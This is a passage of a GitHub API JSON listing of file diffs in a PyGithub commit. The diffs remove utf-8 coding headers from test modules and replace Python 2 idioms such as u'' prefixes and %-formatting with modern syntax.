#"},{"sha":"d78e755dc9eb828ba1b8d118a23781804daa4964","filename":"tests/Issue87.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue87.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue87.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FIssue87.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"a08e0c9dd2c5fcb4cc9c31d6540d88972095e2d5","filename":"tests/Issue937.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue937.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue937.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FIssue937.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2018 Vinay Hegde #"},{"sha":"59f812b656cc41437522df6ea411b06bd368746b","filename":"tests/Issue945.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue945.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue945.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FIssue945.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2018 Kelvin Wong (https://github.com/netsgnut) #"},{"sha":"f517a712edbb4da23fc2339586596e72eaf854ac","filename":"tests/IssueComment.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssueComment.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssueComment.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FIssueComment.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"837d7bb00cd21f352e43d0e7fc018e6fb6144d8a","filename":"tests/IssueEvent.py","status":"modified","additions":5,"deletions":7,"changes":12,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssueEvent.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssueEvent.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FIssueEvent.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #\n@@ -420,8 +418,8 @@ def testEvent_renamed_Attributes(self):\n self.assertEqual(\n self.event_renamed.rename,\n {\n- u\"to\": u\"Adding new attributes to IssueEvent\",\n- u\"from\": u\"Adding new attributes to IssueEvent Object (DO NOT MERGE - SEE NOTES)\",\n+ \"to\": \"Adding new attributes to IssueEvent\",\n+ \"from\": \"Adding new attributes to IssueEvent Object (DO NOT MERGE - SEE NOTES)\",\n },\n )\n self.assertEqual(self.event_renamed.dismissed_review, None)\n@@ -663,9 +661,9 @@ def testEvent_review_dismissed_Attributes(self):\n self.assertEqual(\n self.event_review_dismissed.dismissed_review,\n {\n- u\"dismissal_message\": u\"dismiss\",\n- u\"state\": u\"changes_requested\",\n- u\"review_id\": 145431295,\n+ \"dismissal_message\": \"dismiss\",\n+ \"state\": \"changes_requested\",\n+ \"review_id\": 145431295,\n },\n )\n self.assertEqual(self.event_review_dismissed.lock_reason, None)"},{"sha":"1006554425bd118f8fb263a950fa8e3f712c0d47","filename":"tests/Label.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FLabel.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FLabel.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FLabel.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"57a956c69cd305e83006f7bd92adcd592e87577a","filename":"tests/License.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FLicense.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FLicense.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FLicense.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2018 Wan Liuyang #"},{"sha":"3f277f618e36eed68bebae6ae8154a75bbef1ee0","filename":"tests/Logging_.py","status":"modified","additions":1,"deletions":3,"changes":4,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FLogging_.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FLogging_.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FLogging_.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #\n@@ -62,7 +60,7 @@ def debug(\n output,\n ):\n self.verb = verb\n- self.url = \"%s://%s%s\" % (scheme, hostname, fragment)\n+ self.url = f\"{scheme}://{hostname}{fragment}\"\n self.requestHeaders = requestHeaders\n self.input = input_\n self.status = status"},{"sha":"bc19651f45f777ab44b63f9bcea1538ed8dbd367","filename":"tests/Markdown.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FMarkdown.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FMarkdown.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FMarkdown.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"f503a6d275c244fe81dab39c63d8e6d9ab970bd8","filename":"tests/Migration.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FMigration.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FMigration.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FMigration.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"82da26894cacdee6beaea46cf151c0fed1ea9a25","filename":"tests/Milestone.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FMilestone.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FMilestone.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FMilestone.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"42dba7bcc3a664666e86de3e9bef6022ad1db137","filename":"tests/NamedUser.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FNamedUser.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FNamedUser.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FNamedUser.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"bd7804dcfc555efb945760f0e236b2638423f986","filename":"tests/NamedUser1430.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FNamedUser1430.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FNamedUser1430.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FNamedUser1430.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2020 Anuj Bansal #"},{"sha":"44f937f2335c0cfd2b8c8f99ff7544f9e099c9f5","filename":"tests/Notification.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FNotification.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FNotification.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FNotification.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"de59a52383750e66175c213e542a7aa8fbea711f","filename":"tests/Organization.py","status":"modified","additions":2,"deletions":4,"changes":6,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FOrganization.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FOrganization.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FOrganization.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #\n@@ -389,8 +387,8 @@ def testInviteUserAsNonOwner(self):\n self.assertEqual(\n raisedexp.exception.data,\n {\n- u\"documentation_url\": u\"https://developer.github.com/v3/orgs/members/#create-organization-invitation\",\n- u\"message\": u\"You must be an admin to create an invitation to an organization.\",\n+ \"documentation_url\": \"https://developer.github.com/v3/orgs/members/#create-organization-invitation\",\n+ \"message\": \"You must be an admin to create an invitation to an organization.\",\n },\n )\n "},{"sha":"55bea2436e4b3e2a53950c0ed7263ffe4e9c00b4","filename":"tests/Organization1437.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FOrganization1437.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FOrganization1437.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FOrganization1437.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2020 Anuj Bansal #"},{"sha":"5977198f413ead1f4cba0c76cbf428702c16f67a","filename":"tests/OrganizationHasInMembers.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FOrganizationHasInMembers.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FOrganizationHasInMembers.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FOrganizationHasInMembers.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2016 Matthew Neal #"},{"sha":"ae06e90257846a448d228f98660a6a5f5e291b38","filename":"tests/PaginatedList.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FPaginatedList.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FPaginatedList.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FPaginatedList.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"e5e45ae35d033ca0623c38f1062193cc214b20d8","filename":"tests/Persistence.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FPersistence.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FPersistence.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FPersistence.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2013 Vincent Jacques #"},{"sha":"489e0846fe7fe45a2e387d0886a20f53b309c1c6","filename":"tests/Project.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FProject.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FProject.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FProject.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n # ########################## Copyrights and license ############################\n # #\n # Copyright 2018 bbi-yggy #"},{"sha":"63ba64e1f02c2c0e6c2998b992841948be6a30d3","filename":"tests/Project1434.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FProject1434.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FProject1434.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FProject1434.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n # ########################## Copyrights and license ############################\n # #\n # Copyright 2020 Anuj Bansal #"},{"sha":"7df02fa58a5cad870c959a9244844ef128281d52","filename":"tests/ProjectColumn.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FProjectColumn.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FProjectColumn.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FProjectColumn.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n # ########################## Copyrights and license ############################\n # #\n # This file is part of PyGithub. #"},{"sha":"a52dd3ca526d18b606ce2853d73a4f29d54f18be","filename":"tests/PullRequest.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FPullRequest.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FPullRequest.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FPullRequest.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"3570500567dee9a96a819028731a33b63d12d7be","filename":"tests/PullRequest1168.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FPullRequest1168.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FPullRequest1168.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FPullRequest1168.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2019 Olof-Joachim Frahm #"},{"sha":"dd7730d38cc7680148142c6126d2dabe2af2b5b0","filename":"tests/PullRequest1169.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FPullRequest1169.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FPullRequest1169.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FPullRequest1169.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2019 Olof-Joachim Frahm #"},{"sha":"21a698368d0a49174e5e311da4b4a983bfcac5f0","filename":"tests/PullRequest1375.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FPullRequest1375.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FPullRequest1375.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FPullRequest1375.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2019 Olof-Joachim Frahm #"},{"sha":"29006b8c4dbdca6ae7de5b53ed00de68eed2e9d7","filename":"tests/PullRequest1682.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FPullRequest1682.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FPullRequest1682.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FPullRequest1682.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\r\n-\r\n ############################ Copyrights and license ############################\r\n # #\r\n # Copyright 2020 Victor Zeng #\r"},{"sha":"2c9bb454061201e18d28a0f840533c17fa2f70d8","filename":"tests/PullRequestComment.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FPullRequestComment.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FPullRequestComment.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FPullRequestComment.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"025af8dbc5a88c682a4bfd5132cae6fc824dfa10","filename":"tests/PullRequestFile.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FPullRequestFile.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FPullRequestFile.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FPullRequestFile.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"a2e317cc462a0d3277607ffd0a8337fcf576fcc6","filename":"tests/PullRequestReview.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FPullRequestReview.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FPullRequestReview.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FPullRequestReview.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2017 Aaron Levine #"},{"sha":"d8bd7a3b4ed1a87993cd6ff24ac36e1b3f4a9ab9","filename":"tests/RateLimiting.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FRateLimiting.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FRateLimiting.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FRateLimiting.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"963231b1fd0f37132fe7768db1ec47dad360b502","filename":"tests/RawData.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FRawData.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FRawData.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FRawData.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2013 Vincent Jacques #"},{"sha":"a9aa619a04c960ac6fa9eaf0e906eeb9a1c6b790","filename":"tests/Reaction.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FReaction.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FReaction.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FReaction.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2017 Nicolas Agustín Torres #"},{"sha":"d0b8af387482b241940e6fcfcf4b0b1089c6bc1a","filename":"tests/ReleaseAsset.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FReleaseAsset.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FReleaseAsset.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FReleaseAsset.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2017 Chris McBride #"},{"sha":"88e6aa8d43fe4d51e18c48e809275933451cf9da","filename":"tests/Repository.py","status":"modified","additions":11,"deletions":13,"changes":24,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FRepository.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FRepository.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FRepository.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #\n@@ -473,8 +471,8 @@ def testCollaboratorPermissionNoPushAccess(self):\n self.assertEqual(\n raisedexp.exception.data,\n {\n- u\"documentation_url\": u\"https://developer.github.com/v3/repos/collaborators/#review-a-users-permission-level\",\n- u\"message\": u\"Must have push access to view collaborator permission.\",\n+ \"documentation_url\": \"https://developer.github.com/v3/repos/collaborators/#review-a-users-permission-level\",\n+ \"message\": \"Must have push access to view collaborator permission.\",\n },\n )\n \n@@ -1094,12 +1092,12 @@ def testGetStargazersWithDates(self):\n stargazers,\n lambda stargazer: (stargazer.starred_at, stargazer.user.login),\n [\n- (datetime.datetime(2014, 8, 13, 19, 22, 5), u\"sAlexander\"),\n- (datetime.datetime(2014, 10, 15, 5, 2, 30), u\"ThomasG77\"),\n- (datetime.datetime(2015, 4, 14, 15, 22, 40), u\"therusek\"),\n- (datetime.datetime(2015, 4, 29, 0, 9, 40), u\"athomann\"),\n- (datetime.datetime(2015, 4, 29, 14, 26, 46), u\"jcapron\"),\n- (datetime.datetime(2015, 5, 9, 19, 14, 45), u\"JoePython1\"),\n+ (datetime.datetime(2014, 8, 13, 19, 22, 5), \"sAlexander\"),\n+ (datetime.datetime(2014, 10, 15, 5, 2, 30), \"ThomasG77\"),\n+ (datetime.datetime(2015, 4, 14, 15, 22, 40), \"therusek\"),\n+ (datetime.datetime(2015, 4, 29, 0, 9, 40), \"athomann\"),\n+ (datetime.datetime(2015, 4, 29, 14, 26, 46), \"jcapron\"),\n+ (datetime.datetime(2015, 5, 9, 19, 14, 45), \"JoePython1\"),\n ],\n )\n self.assertEqual(repr(stargazers[0]), 'Stargazer(user=\"sAlexander\")')\n@@ -1248,7 +1246,7 @@ def testGetDeployments(self):\n \n def testCreateFile(self):\n newFile = \"doc/testCreateUpdateDeleteFile.md\"\n- content = \"Hello world\".encode()\n+ content = b\"Hello world\"\n author = github.InputGitAuthor(\n \"Enix Yu\", \"enix223@163.com\", \"2016-01-15T16:13:30+12:00\"\n )\n@@ -1666,7 +1664,7 @@ def testGetLicense(self):\n \n def testGetTopics(self):\n topic_list = self.repo.get_topics()\n- topic = u\"github\"\n+ topic = \"github\"\n self.assertIn(topic, topic_list)\n \n def testReplaceTopics(self):\n@@ -1691,7 +1689,7 @@ class LazyRepository(Framework.TestCase):\n def setUp(self):\n super().setUp()\n self.user = self.g.get_user()\n- self.repository_name = \"%s/%s\" % (self.user.login, \"PyGithub\")\n+ self.repository_name = \"{}/{}\".format(self.user.login, \"PyGithub\")\n \n def getLazyRepository(self):\n return self.g.get_repo(self.repository_name, lazy=True)"},{"sha":"4e290ab5d901a44e6dfead8253d02aeb871376ed","filename":"tests/RepositoryKey.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FRepositoryKey.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FRepositoryKey.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FRepositoryKey.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques 